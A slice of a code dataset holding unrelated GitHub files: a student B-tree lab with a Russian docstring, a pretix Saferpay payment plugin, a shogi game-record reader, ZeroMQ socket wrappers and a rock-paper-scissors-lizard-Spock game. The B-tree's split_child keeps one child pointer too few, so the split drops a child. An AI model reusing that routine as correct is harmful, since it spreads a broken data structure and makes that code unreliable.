a key on a B-tree in Python\n'''\n\nДля каждого узла x, ключи хранятся в возрастающей порядке.\nВ каждом узле есть логическое значение x.leaf что верно, если x это лист.\nЕсли n — это порядок дерева, каждый внутренний узел может содержать не более n - 1 вместе с указателем на каждого ребенка.\nКаждый узел, кроме корня, может иметь не более n дочерних и, по крайней мере, n/2 дети.\nВсе листья имеют одинаковую глубину (т.е. высоту-н дерева).\nКорень имеет не менее 2 детей и содержит минимум 1 ключ.\nЕсли n ≥ 1, то для любого n-ключевого B-дерева высоты h и минимального градуса t ≥ 2, h ≥ logt (n+1)/2.\n'''\n\n# Create a node\nclass B_NODE:\n def __init__(self, leaf=False):\n self.leaf = leaf\n self.keys = []\n self.child = []\n\n\n# Tree\nclass B_Tree:\n def __init__(self, t):\n self.root = B_NODE(True)\n self.t = t\n\n # Insert node\n def insert(self, k):\n root = self.root\n if len(root.keys) == (2 * self.t) - 1:\n temp = B_NODE()\n self.root = temp\n temp.child.insert(0, root)\n self.split_child(temp, 0)\n self.insert_non_full(temp, k)\n else:\n self.insert_non_full(root, k)\n\n # Insert nonfull\n def insert_non_full(self, x, k):\n i = len(x.keys) - 1\n if x.leaf:\n x.keys.append((None, None))\n while i >= 0 and k[0] < x.keys[i][0]:\n x.keys[i + 1] = x.keys[i]\n i -= 1\n x.keys[i + 1] = k\n else:\n while i >= 0 and k[0] < x.keys[i][0]:\n i -= 1\n i += 1\n if len(x.child[i].keys) == (2 * self.t) - 1:\n self.split_child(x, i)\n if k[0] > x.keys[i][0]:\n i += 1\n self.insert_non_full(x.child[i], k)\n\n # Split the child\n def split_child(self, x, i):\n t = self.t\n y = x.child[i]\n z = B_NODE(y.leaf)\n x.child.insert(i + 1, z)\n x.keys.insert(i, y.keys[t - 1])\n z.keys = y.keys[t: (2 * t) - 1]\n y.keys = y.keys[0: t - 1]\n if not y.leaf:\n z.child = y.child[t: 2 * t]\n y.child = y.child[0: t - 1]\n\n # Print the tree\n def print_tree(self, x, l=0):\n print(\"Level \", l, \" \", len(x.keys), end=\":\")\n for i in x.keys:\n print(i, end=\" \")\n print()\n l += 1\n if len(x.child) > 0:\n for i in x.child:\n self.print_tree(i, l)\n\n # Search key in the tree\n def search_key(self, k, x=None):\n if x is not None:\n i = 0\n while i < len(x.keys) and k > x.keys[i][0]:\n i += 1\n if i < len(x.keys) and k == x.keys[i][0]:\n return (x, i)\n elif x.leaf:\n return None\n else:\n return self.search_key(k, x.child[i])\n \n else:\n return self.search_key(k, self.root)\n\n\ndef main():\n B = B_Tree(1)\n\n for i in range(10):\n B.insert((i, 2 * i,3*i))\n\n B.print_tree(B.root)\n\n if B.search_key(8) is not None:\n print(\"\\nFound\")\n else:\n print(\"\\nNot Found\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"Unti1/DSTU-study","sub_path":"5_semestr/Alg!Postr!Analize/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15843653953","text":"def get_model_inputs(service_name):\n '''\n\n Connect To DynamoDB\n Get row based on service_name\n Store the values in dict\n return dict\n\n '''\n\n model_maps_list = [\n {\"name\": \"model1\", \"bucket\": \"ml-data-shop-store\", \"key\" : \"data/input/model1\", \"endpoint\": \"something.something.something.com\"},\n {\"name\": \"model2\", \"bucket\": \"ml-data-shop-store\", \"key\" : \"data/input/model2\", \"endpoint\": \"something.something.something.com\"}\n ]\n\n for single_model_dict in model_maps_list:\n if (single_model_dict[\"name\"] == service_name):\n return single_model_dict\n","repo_name":"NaiduVeeraVishnuVardhan/Data-shop","sub_path":"model/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33502772182","text":"import hashlib\nimport json\nimport logging\nimport requests\nimport uuid\nfrom collections import OrderedDict\nfrom django import forms\nfrom django.conf import settings\nfrom django.core import signing\nfrom django.http import HttpRequest\nfrom django.template.loader import get_template\nfrom django.utils.translation import gettext_lazy as _, pgettext\nfrom pretix.base.decimal import round_decimal\nfrom pretix.base.models import Event, OrderPayment, OrderRefund\nfrom pretix.base.payment import BasePaymentProvider, PaymentException\nfrom pretix.base.settings import SettingsSandbox\nfrom pretix.multidomain.urlreverse import build_absolute_uri\nfrom requests import HTTPError, RequestException\n\nlogger = logging.getLogger(__name__)\n\n\nclass SaferpaySettingsHolder(BasePaymentProvider):\n identifier = \"saferpay\"\n verbose_name = _(\"Saferpay\")\n is_enabled = False\n is_meta = True\n\n def __init__(self, event: Event):\n super().__init__(event)\n self.settings = SettingsSandbox(\"payment\", \"saferpay\", event)\n\n @property\n def settings_form_fields(self):\n fields = [\n (\n \"endpoint\",\n forms.ChoiceField(\n label=_(\"Endpoint\"),\n initial=\"live\",\n choices=(\n (\"live\", pgettext(\"saferpay\", \"Live\")),\n (\"test\", pgettext(\"saferpay\", \"Testing\")),\n ),\n ),\n ),\n (\n \"api_user\",\n forms.CharField(\n label=_(\"API Username\"),\n ),\n ),\n (\n \"api_pass\",\n forms.CharField(\n label=_(\"API Password\"),\n ),\n ),\n (\n \"customer_id\",\n forms.CharField(\n label=_(\"Customer ID\"),\n ),\n ),\n (\n \"terminal_id\",\n forms.CharField(\n label=_(\"Terminal ID\"),\n ),\n ),\n ]\n d = OrderedDict(\n fields\n + [\n (\n \"method_visa\",\n forms.BooleanField(\n label=_(\"VISA\"),\n required=False,\n ),\n ),\n (\n \"method_mastercard\",\n forms.BooleanField(\n label=_(\"MasterCard\"),\n required=False,\n ),\n ),\n (\n \"method_diners\",\n forms.BooleanField(\n label=_(\"Diners\"),\n required=False,\n ),\n ),\n (\n \"method_jcb\",\n forms.BooleanField(\n label=_(\"JCB\"),\n required=False,\n ),\n ),\n (\n \"method_amex\",\n forms.BooleanField(\n label=_(\"American Express\"),\n required=False,\n ),\n ),\n (\n \"method_bancontact\",\n forms.BooleanField(\n label=_(\"Bancontact\"),\n required=False,\n ),\n ),\n (\n \"method_eprzelewy\",\n forms.BooleanField(\n label=_(\"ePrzelewy\"),\n required=False,\n ),\n ),\n (\n \"method_eps\",\n forms.BooleanField(\n label=_(\"eps\"),\n required=False,\n ),\n ),\n (\n \"method_giropay\",\n forms.BooleanField(\n label=_(\"giropay\"),\n required=False,\n ),\n ),\n (\n \"method_ideal\",\n forms.BooleanField(\n label=_(\"iDEAL\"),\n required=False,\n ),\n ),\n (\n \"method_twint\",\n forms.BooleanField(\n label=\"TWINT\",\n required=False,\n ),\n ),\n # Disabled because we couldn't test the flow which is documented as being different than the others\n # (i.e. it has a payment state and uses callbacks)\n # ('method_paydirekt',\n # forms.BooleanField(\n # label=_('paydirekt'),\n # required=False,\n # )),\n (\n \"method_paypal\",\n forms.BooleanField(\n label=_(\"PayPal\"),\n required=False,\n ),\n ),\n (\n \"method_postfinance_card\",\n forms.BooleanField(\n label=_(\"PostFinance Card\"),\n required=False,\n ),\n ),\n (\n \"method_postfinance_efinance\",\n forms.BooleanField(\n label=_(\"PostFinance eFinance\"),\n required=False,\n ),\n ),\n (\n \"method_sepadebit\",\n forms.BooleanField(\n label=_(\"SEPA Direct Debit\"),\n required=False,\n ),\n ),\n (\n \"method_sofort\",\n forms.BooleanField(\n label=_(\"Sofort\"),\n required=False,\n ),\n ),\n ]\n + list(super().settings_form_fields.items())\n )\n d.move_to_end(\"_enabled\", last=False)\n return d\n\n\nclass SaferpayMethod(BasePaymentProvider):\n method = \"\"\n abort_pending_allowed = False\n refunds_allowed = True\n cancel_flow = True\n payment_methods = []\n\n def __init__(self, event: Event):\n super().__init__(event)\n self.settings = SettingsSandbox(\"payment\", \"saferpay\", event)\n\n @property\n def settings_form_fields(self):\n return {}\n\n @property\n def identifier(self):\n return \"saferpay_{}\".format(self.method)\n\n @property\n def is_enabled(self) -> bool:\n return self.settings.get(\"_enabled\", as_type=bool) and self.settings.get(\n \"method_{}\".format(self.method), as_type=bool\n )\n\n def payment_refund_supported(self, payment: OrderPayment) -> bool:\n return self.refunds_allowed\n\n def payment_partial_refund_supported(self, payment: OrderPayment) -> bool:\n return self.refunds_allowed\n\n def payment_prepare(self, request, payment):\n return self.checkout_prepare(request, None)\n\n def payment_is_valid_session(self, request: HttpRequest):\n return True\n\n def payment_form_render(self, request) -> str:\n template = get_template(\"pretix_saferpay/checkout_payment_form.html\")\n ctx = {\"request\": request, \"event\": self.event, \"settings\": self.settings}\n return template.render(ctx)\n\n def checkout_confirm_render(self, request) -> str:\n template = get_template(\"pretix_saferpay/checkout_payment_confirm.html\")\n ctx = {\n \"request\": request,\n \"event\": self.event,\n \"settings\": self.settings,\n \"provider\": self,\n }\n return template.render(ctx)\n\n def payment_can_retry(self, payment):\n return self._is_still_available(order=payment.order)\n\n def payment_pending_render(self, request, payment) -> str:\n if payment.info:\n payment_info = json.loads(payment.info)\n else:\n payment_info = None\n template = get_template(\"pretix_saferpay/pending.html\")\n ctx = {\n \"request\": request,\n \"event\": self.event,\n \"settings\": self.settings,\n \"provider\": self,\n \"order\": payment.order,\n \"payment\": payment,\n \"payment_info\": payment_info,\n }\n return template.render(ctx)\n\n def payment_control_render(self, request, payment) -> str:\n if payment.info:\n payment_info = json.loads(payment.info)\n if \"amount\" in payment_info:\n payment_info[\"amount\"] /= 10 ** settings.CURRENCY_PLACES.get(\n self.event.currency, 2\n )\n else:\n payment_info = None\n template = get_template(\"pretix_saferpay/control.html\")\n ctx = {\n \"request\": request,\n \"event\": self.event,\n \"settings\": self.settings,\n \"payment_info\": payment_info,\n \"payment\": payment,\n \"method\": self.method,\n \"provider\": self,\n }\n return template.render(ctx)\n\n def api_payment_details(self, payment: OrderPayment):\n return {\n \"id\": payment.info_data.get(\"Id\"),\n \"status\": payment.info_data.get(\"Status\"),\n \"reference\": payment.info_data.get(\"SixTransactionReference\"),\n \"payment_method\": payment.info_data.get(\"PaymentMeans\", {})\n .get(\"Brand\", {})\n .get(\"Name\"),\n \"payment_source\": payment.info_data.get(\"PaymentMeans\", {}).get(\n \"DisplayText\"\n ),\n }\n\n def execute_refund(self, refund: OrderRefund):\n d = refund.payment.info_data\n\n try:\n if self.cancel_flow and refund.amount == refund.payment.amount:\n if \"Id\" not in d:\n raise PaymentException(\n _(\n \"The payment has not been captured successfully and can therefore not be \"\n \"refunded.\"\n )\n )\n\n req = self._post(\n \"Payment/v1/Transaction/Cancel\",\n json={\n \"RequestHeader\": {\n \"SpecVersion\": \"1.10\",\n \"CustomerId\": self.settings.customer_id,\n \"RequestId\": str(uuid.uuid4()),\n \"RetryIndicator\": 0,\n },\n \"TransactionReference\": {\"TransactionId\": d.get(\"Id\")},\n },\n )\n if req.status_code == 200:\n refund.info = req.text\n refund.save(update_fields=[\"info\"])\n refund.done()\n return\n else:\n try:\n err = req.json()\n except:\n req.raise_for_status()\n else:\n if err.get(\"ErrorName\") not in (\n \"ACTION_NOT_SUPPORTED\",\n \"TRANSACTION_ALREADY_CAPTURED\",\n \"TRANSACTION_IN_WRONG_STATE\",\n ):\n req.raise_for_status()\n else:\n pass # retry with regular flow\n\n if \"CaptureId\" not in d:\n raise PaymentException(\n _(\n \"The payment has not been captured successfully and can therefore not be \"\n \"refunded.\"\n )\n )\n\n req = self._post(\n \"Payment/v1/Transaction/Refund\",\n json={\n \"RequestHeader\": {\n \"SpecVersion\": \"1.10\",\n \"CustomerId\": self.settings.customer_id,\n \"RequestId\": str(uuid.uuid4()),\n \"RetryIndicator\": 0,\n },\n \"Refund\": {\n \"Amount\": {\n \"Value\": str(self._decimal_to_int(refund.amount)),\n \"CurrencyCode\": self.event.currency,\n },\n \"OrderId\": \"{}-{}-R-{}\".format(\n self.event.slug.upper(), refund.order.code, refund.local_id\n ),\n \"Description\": \"Order {}-{}\".format(\n self.event.slug.upper(), refund.order.code\n ),\n },\n \"CaptureReference\": {\"CaptureId\": d.get(\"CaptureId\")},\n },\n )\n req.raise_for_status()\n refund.info_data = req.json()\n refund.save(update_fields=[\"info\"])\n\n if refund.info_data[\"Transaction\"].get(\"Status\") == \"CAPTURED\":\n refund.done()\n elif refund.info_data[\"Transaction\"].get(\"Status\") == \"AUTHORIZED\":\n req = self._post(\n \"Payment/v1/Transaction/Capture\",\n json={\n \"RequestHeader\": {\n \"SpecVersion\": \"1.10\",\n \"CustomerId\": self.settings.customer_id,\n \"RequestId\": str(uuid.uuid4()),\n \"RetryIndicator\": 0,\n },\n \"TransactionReference\": {\n \"TransactionId\": refund.info_data[\"Transaction\"].get(\"Id\")\n },\n },\n )\n req.raise_for_status()\n data = req.json()\n if data[\"Status\"] == \"CAPTURED\":\n refund.order.log_action(\"pretix_saferpay.event.paid\")\n trans = refund.info_data\n trans[\"Transaction\"][\"Status\"] = \"CAPTURED\"\n trans[\"Transaction\"][\"CaptureId\"] = data[\"CaptureId\"]\n refund.info = json.dumps(trans)\n refund.save(update_fields=[\"info\"])\n refund.done()\n\n except HTTPError:\n logger.exception(\"Saferpay error: %s\" % req.text)\n try:\n refund.info_data = req.json()\n except:\n refund.info_data = {\"error\": True, \"detail\": req.text}\n refund.state = OrderRefund.REFUND_STATE_FAILED\n refund.save()\n refund.order.log_action(\n \"pretix.event.order.refund.failed\",\n {\n \"local_id\": refund.local_id,\n \"provider\": refund.provider,\n \"data\": refund.info_data,\n },\n )\n if \"ProcessorMessage\" in refund.info_data:\n raise PaymentException(\n _(\n \"Saferpay returned the following error: {error}\"\n ).format(error=refund.info_data.get('ProcessorMessage'))\n )\n elif \"ErrorMessage\" in refund.info_data:\n raise PaymentException(\n _(\n \"Saferpay returned the following error: {error}\"\n ).format(error=refund.info_data.get('ErrorMessage'))\n )\n raise PaymentException(\n _(\n \"We had trouble communicating with Saferpay. Please try again and get in touch \"\n \"with us if this problem persists.\"\n )\n )\n except RequestException as e:\n logger.exception(\"Saferpay error\")\n refund.info_data = {\"error\": True, \"detail\": str(e)}\n refund.state = OrderRefund.REFUND_STATE_FAILED\n refund.save()\n refund.order.log_action(\n \"pretix.event.order.refund.failed\",\n {\n \"local_id\": refund.local_id,\n \"provider\": refund.provider,\n \"data\": refund.info_data,\n },\n )\n raise PaymentException(\n _(\n \"We had trouble communicating with Saferpay. Please try again and get in touch \"\n \"with us if this problem persists.\"\n )\n )\n\n @property\n def test_mode_message(self):\n if self.settings.endpoint == \"test\":\n return _(\n \"The Saferpay plugin is operating in test mode. No money will actually be transferred.\"\n )\n return None\n\n def _post(self, endpoint, *args, **kwargs):\n r = requests.post(\n \"https://{env}.saferpay.com/api/{ep}\".format(\n env=\"www\" if self.settings.get(\"endpoint\") == \"live\" else \"test\",\n ep=endpoint,\n ),\n auth=(self.settings.get(\"api_user\"), self.settings.get(\"api_pass\")),\n timeout=20,\n *args,\n **kwargs\n )\n return r\n\n def _get(self, endpoint, *args, **kwargs):\n r = requests.get(\n \"https://{env}.saferpay.com/api/{ep}\".format(\n env=\"www\" if self.settings.get(\"endpoint\") == \"live\" else \"test\",\n ep=endpoint,\n ),\n auth=(self.settings.get(\"api_user\"), self.settings.get(\"api_pass\")),\n timeout=20,\n *args,\n **kwargs\n )\n return r\n\n def get_locale(self, language):\n saferpay_locales = {\n \"de\",\n \"en\",\n \"fr\",\n \"da\",\n \"cs\",\n \"es\",\n \"et\",\n \"hr\",\n \"it\",\n \"hu\",\n \"lv\",\n \"lt\",\n \"nl\",\n \"nn\",\n \"pl\",\n \"pt\",\n \"ru\",\n \"ro\",\n \"sk\",\n \"sl\",\n \"fi\",\n \"sv\",\n \"tr\",\n \"el\",\n \"ja\",\n \"zh\",\n }\n if language[:2] in saferpay_locales:\n return language[:2]\n return \"en\"\n\n def _amount_to_decimal(self, cents):\n places = settings.CURRENCY_PLACES.get(self.event.currency, 2)\n return round_decimal(float(cents) / (10**places), self.event.currency)\n\n def _decimal_to_int(self, amount):\n places = settings.CURRENCY_PLACES.get(self.event.currency, 2)\n return int(amount * 10**places)\n\n def _get_payment_page_init_body(self, payment):\n b = {\n \"RequestHeader\": {\n \"SpecVersion\": \"1.10\",\n \"CustomerId\": self.settings.customer_id,\n \"RequestId\": str(uuid.uuid4()),\n \"RetryIndicator\": 0,\n \"ClientInfo\": {\n \"ShopInfo\": \"pretix\",\n },\n },\n \"TerminalId\": self.settings.terminal_id,\n \"Payment\": {\n \"Amount\": {\n \"Value\": str(self._decimal_to_int(payment.amount)),\n \"CurrencyCode\": self.event.currency,\n },\n \"OrderId\": \"{}-{}-P-{}\".format(\n self.event.slug.upper(), payment.order.code, payment.local_id\n ),\n \"Description\": \"Order {}-{}\".format(\n self.event.slug.upper(), payment.order.code\n ),\n \"PayerNote\": \"{}-{}\".format(\n self.event.slug.upper(), payment.order.code\n ),\n },\n \"PaymentMethods\": self.payment_methods,\n \"Payer\": {\n \"LanguageCode\": self.get_locale(payment.order.locale),\n },\n \"ReturnUrls\": {\n \"Success\": build_absolute_uri(\n self.event,\n \"plugins:pretix_saferpay:return\",\n kwargs={\n \"order\": payment.order.code,\n \"payment\": payment.pk,\n \"hash\": hashlib.sha1(\n payment.order.secret.lower().encode()\n ).hexdigest(),\n \"action\": \"success\",\n },\n ),\n \"Fail\": build_absolute_uri(\n self.event,\n \"plugins:pretix_saferpay:return\",\n kwargs={\n \"order\": payment.order.code,\n \"payment\": payment.pk,\n \"hash\": hashlib.sha1(\n payment.order.secret.lower().encode()\n ).hexdigest(),\n \"action\": \"fail\",\n },\n ),\n \"Abort\": build_absolute_uri(\n self.event,\n \"plugins:pretix_saferpay:return\",\n kwargs={\n \"order\": payment.order.code,\n \"payment\": payment.pk,\n \"hash\": hashlib.sha1(\n payment.order.secret.lower().encode()\n ).hexdigest(),\n \"action\": \"abort\",\n },\n ),\n },\n \"Notification\": {\n \"NotifyUrl\": build_absolute_uri(\n self.event,\n \"plugins:pretix_saferpay:webhook\",\n kwargs={\n \"payment\": payment.pk,\n },\n ),\n },\n \"BillingAddressForm\": {\"Display\": False},\n \"DeliveryAddressForm\": {\"Display\": False},\n }\n return b\n\n def execute_payment(self, request: HttpRequest, payment: OrderPayment):\n try:\n req = self._post(\n \"Payment/v1/PaymentPage/Initialize\",\n json=self._get_payment_page_init_body(payment),\n )\n req.raise_for_status()\n except HTTPError:\n logger.exception(\"Saferpay error: %s\" % req.text)\n try:\n payment.info_data = req.json()\n except:\n payment.info_data = {\"error\": True, \"detail\": req.text}\n payment.state = OrderPayment.PAYMENT_STATE_FAILED\n payment.save()\n payment.order.log_action(\n \"pretix.event.order.payment.failed\",\n {\n \"local_id\": payment.local_id,\n \"provider\": payment.provider,\n \"data\": payment.info_data,\n },\n )\n raise PaymentException(\n _(\n \"We had trouble communicating with Saferpay. Please try again and get in touch \"\n \"with us if this problem persists.\"\n )\n )\n except RequestException as e:\n logger.exception(\"Saferpay request error\")\n payment.info_data = {\"error\": True, \"detail\": str(e)}\n payment.state = OrderPayment.PAYMENT_STATE_FAILED\n payment.save()\n payment.order.log_action(\n \"pretix.event.order.payment.failed\",\n {\n \"local_id\": payment.local_id,\n \"provider\": payment.provider,\n \"data\": payment.info_data,\n },\n )\n raise PaymentException(\n _(\n \"We had trouble communicating with Saferpay. Please try again and get in touch \"\n \"with us if this problem persists.\"\n )\n )\n\n data = req.json()\n payment.info = json.dumps(data)\n payment.state = OrderPayment.PAYMENT_STATE_CREATED\n payment.save()\n request.session[\"payment_saferpay_order_secret\"] = payment.order.secret\n return self.redirect(request, data.get(\"RedirectUrl\"))\n\n def redirect(self, request, url):\n if request.session.get(\"iframe_session\", False) and self.method in (\n \"paypal\",\n \"sofort\",\n \"giropay\",\n \"paydirekt\",\n ):\n return (\n build_absolute_uri(request.event, \"plugins:pretix_saferpay:redirect\")\n + \"?data=\"\n + signing.dumps(\n {\n \"url\": url,\n \"session\": {\n \"payment_saferpay_order_secret\": request.session[\n \"payment_saferpay_order_secret\"\n ],\n },\n },\n salt=\"safe-redirect\",\n )\n )\n else:\n return str(url)\n\n def shred_payment_info(self, obj: OrderPayment):\n if not obj.info:\n return\n d = json.loads(obj.info)\n if \"details\" in d:\n d[\"details\"] = {k: \"█\" for k in d[\"details\"].keys()}\n\n d[\"_shredded\"] = True\n obj.info = json.dumps(d)\n obj.save(update_fields=[\"info\"])\n\n\nclass SaferpayCC(SaferpayMethod):\n method = \"creditcard\"\n verbose_name = _(\"Credit card via Saferpay\")\n public_name = _(\"Credit card\")\n\n @property\n def payment_methods(self):\n payment_methods = []\n if self.settings.get(\"method_visa\", as_type=bool):\n payment_methods.append(\"VISA\")\n if self.settings.get(\"method_diners\", as_type=bool):\n payment_methods.append(\"DINERS\")\n if self.settings.get(\"method_jcb\", as_type=bool):\n payment_methods.append(\"JCB\")\n if self.settings.get(\"method_mastercard\", as_type=bool):\n payment_methods.append(\"MASTERCARD\")\n if self.settings.get(\"method_amex\", as_type=bool):\n payment_methods.append(\"AMEX\")\n return payment_methods\n\n @property\n def is_enabled(self) -> bool:\n return self.settings.get(\"_enabled\", as_type=bool) and self.payment_methods\n\n\nclass SaferpayBancontact(SaferpayMethod):\n method = \"bancontact\"\n verbose_name = _(\"Bancontact via Saferpay\")\n public_name = _(\"Bancontact\")\n payment_methods = [\"BANCONTACT\"]\n\n\nclass SaferpayEPrzelewy(SaferpayMethod):\n method = \"eprzelewy\"\n verbose_name = _(\"ePrzelewy via Saferpay\")\n public_name = _(\"ePrzelewy\")\n payment_methods = [\"EPRZELEWY\"]\n\n\nclass SaferpayEPS(SaferpayMethod):\n method = \"eps\"\n verbose_name = _(\"EPS via Saferpay\")\n public_name = _(\"eps\")\n refunds_allowed = False\n cancel_flow = False\n payment_methods = [\"EPS\"]\n\n\nclass SaferpayGiropay(SaferpayMethod):\n method = \"giropay\"\n verbose_name = _(\"giropay via Saferpay\")\n public_name = _(\"giropay\")\n refunds_allowed = False\n cancel_flow = False\n payment_methods = [\"GIROPAY\"]\n\n\nclass SaferpayIdeal(SaferpayMethod):\n method = \"ideal\"\n verbose_name = _(\"iDEAL via Saferpay\")\n public_name = _(\"iDEAL\")\n refunds_allowed = False\n cancel_flow = False\n payment_methods = [\"IDEAL\"]\n\n\nclass SaferpayPaydirekt(SaferpayMethod):\n method = \"paydirekt\"\n verbose_name = _(\"paydirekt via Saferpay\")\n public_name = _(\"paydirekt\")\n payment_methods = [\"PAYDIREKT\"]\n\n\nclass SaferpayPayPal(SaferpayMethod):\n method = \"paypal\"\n verbose_name = _(\"PayPal via Saferpay\")\n public_name = _(\"PayPal\")\n cancel_flow = False\n payment_methods = [\"PAYPAL\"]\n\n\nclass SaferpayPostfinanceCard(SaferpayMethod):\n method = \"postfinance_card\"\n verbose_name = _(\"PostFinance Card via Saferpay\")\n public_name = _(\"PostFinance Card\")\n payment_methods = [\"POSTCARD\"]\n\n\nclass SaferpayPostfinanceEfinance(SaferpayMethod):\n method = \"postfinance_efinance\"\n verbose_name = _(\"PostFinance eFinance via Saferpay\")\n public_name = _(\"PostFinance eFinance\")\n payment_methods = [\"POSTFINANCE\"]\n\n\nclass SaferpaySepadebit(SaferpayMethod):\n method = \"sepadebit\"\n verbose_name = _(\"SEPA Direct Debit via Saferpay\")\n public_name = _(\"SEPA Direct Debit\")\n refunds_allowed = False\n payment_methods = [\"DIRECTDEBIT\"]\n\n\nclass SaferpaySofort(SaferpayMethod):\n method = \"sofort\"\n verbose_name = _(\"Sofort via Saferpay\")\n public_name = _(\"Sofort\")\n refunds_allowed = False\n cancel_flow = False\n payment_methods = [\"SOFORT\"]\n\n\nclass SaferpayTwint(SaferpayMethod):\n method = \"twint\"\n verbose_name = _(\"TWINT via Saferpay\")\n public_name = \"TWINT\"\n refunds_allowed = False\n cancel_flow = False\n payment_methods = [\"TWINT\"]\n","repo_name":"pretix/pretix-saferpay","sub_path":"pretix_saferpay/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":28688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"17583491980","text":"import copy\n\nimport shogi\nfrom shogi import CSA\nfrom tqdm import tqdm\n\nfrom .common import bb_rotate_180\nfrom .features import make_output_label\n\n\ndef read_kifu(filepath_generator):\n positions = []\n for filepath in tqdm(filepath_generator):\n kifu = CSA.Parser.parse_file(filepath)[0]\n win_color = shogi.BLACK if kifu[\"win\"] == \"b\" else shogi.WHITE\n board = shogi.Board()\n for move in tqdm(kifu[\"moves\"], leave=False):\n if board.turn == shogi.BLACK:\n piece_bb = copy.deepcopy(board.piece_bb)\n occupied = copy.deepcopy(\n (board.occupied[shogi.BLACK], board.occupied[shogi.WHITE])\n )\n pieces_in_hand = copy.deepcopy(\n (\n board.pieces_in_hand[shogi.BLACK],\n board.pieces_in_hand[shogi.WHITE],\n )\n )\n else:\n piece_bb = [bb_rotate_180(bb) for bb in board.piece_bb]\n occupied = (\n bb_rotate_180(board.occupied[shogi.WHITE]),\n bb_rotate_180(board.occupied[shogi.BLACK]),\n )\n pieces_in_hand = copy.deepcopy(\n (\n board.pieces_in_hand[shogi.WHITE],\n board.pieces_in_hand[shogi.BLACK],\n )\n )\n\n move_label = make_output_label(\n shogi.Move.from_usi(move), board.turn\n )\n win = 1 if win_color == board.turn else 0\n positions.append(\n (piece_bb, occupied, pieces_in_hand, move_label, win)\n )\n board.push_usi(move)\n return positions\n","repo_name":"sansurrogate/shogi_ai","sub_path":"src/lib/read_kifu.py","file_name":"read_kifu.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"38779048559","text":"import logging\nimport zmq\nfrom .base import ZmqBase, zmq_send, zmq_recv, zmq_recv_nonblocking\nfrom time import sleep\n\nlogging.basicConfig(format=\"%(levelname)s:%(message)s\", level=logging.INFO)\n_logger = logging.getLogger(__name__)\n\n\nclass BaseSocket(ZmqBase):\n def send(self, content):\n try:\n zmq_send(self.sock, content)\n return True\n except:\n return False\n\n def receive(self):\n try:\n return zmq_recv(self.sock)\n except zmq.Again as e:\n if hasattr(self, \"timeout\") and self.timeout is not None:\n self.restart()\n return None\n raise NotImplementedError(f\"This should not have happened.\")\n\n def receive_nb(self):\n return zmq_recv_nonblocking(self.sock)\n\n\nclass RequestSocket(BaseSocket):\n def __init__(self, timeout, hostname=\"0.0.0.0\", port=None, target_hostname=None, target_port=None, verbose=False):\n self.timeout = timeout\n self.target_hostname = target_hostname\n self.target_port = target_port\n super().__init__(hostname, port, verbose=verbose)\n\n def init_context(self):\n super().init_context()\n self.sock = self.context.socket(zmq.REQ)\n self.sock_type = \"REQ\"\n if self.verbose:\n _logger.info(f\"Initialized {self.sock_type} socket at {self.hostname}:{self.port}\")\n self.set_timeout(self.timeout)\n\n def open(self, target_hostname=None, target_port=None):\n self.target_hostname = target_hostname or self.target_hostname\n self.target_port = target_port or self.target_port\n super().open()\n assert self.target_hostname is not None and self.target_port is not None, f\"Expected a target hostname and port, got {self.target_hostname} and {self.target_port}\"\n if self.verbose:\n _logger.info(f\"Connecting {self.sock_type} socket to tcp://{self.target_hostname}:{self.target_port}\")\n self.sock.connect(f\"tcp://{self.target_hostname}:{self.target_port}\")\n if self.verbose:\n _logger.info(f\"Connected {self.sock_type} socket to {self.target_hostname}:{self.target_port}\")\n\n\nclass ReplySocket(BaseSocket):\n def init_context(self):\n super().init_context()\n self.sock = self.context.socket(zmq.REP)\n self.sock_type = \"REP\"\n if self.verbose:\n _logger.info(f\"Initialized {self.sock_type} socket at {self.hostname}:{self.port}\")\n","repo_name":"alihassanijr/CS630-DistributedSystems","sub_path":"project/cm/cman/src/mw/socket.py","file_name":"socket.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33309810418","text":"import random\n\ndef number_to_name(number):\n if number == 0:\n name = \"rock\"\n elif number == 1:\n name = \"spock\"\n elif number == 2:\n name = \"paper\"\n elif number == 3:\n name = \"lizard\"\n elif number == 4:\n name = \"scissors\"\n else:\n print(\"Invalid number\")\n name = None\n return name\n\ndef name_to_number(name):\n if name == \"rock\":\n number = 0\n elif name == \"spock\":\n number = 1\n elif name == \"paper\":\n number = 2\n elif name == \"lizard\":\n number = 3\n elif name == \"scissors\":\n number = 4\n else:\n print(\"Invalid option\")\n number = -1\n return number\n\ndef rpsls(name):\n\n player_number = name_to_number(name)\n computer_numer = random.randrange(0, 5)\n difference = (player_number - computer_numer) % 5\n if (player_number == -1):\n winner = \"Error\"\n else:\n if difference == 0:\n winner = \"It's a tie\"\n elif difference == 1 or difference == 2:\n winner = \"Player wins.\"\n elif difference == 3 or difference == 4:\n winner = \"Computer wins.\"\n computer_name = number_to_name(computer_numer)\n print(\"Player chooses: %s\" % name.title())\n print(\"Computer chooses: %s\" % computer_name.title())\n print(winner)\n\nrpsls(input(\"Choose Rock, Paper, Scissors, Lizard, or Spock: \").lower())","repo_name":"StefanPushkov/vk_hack","sub_path":"k.py","file_name":"k.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2037465583","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, 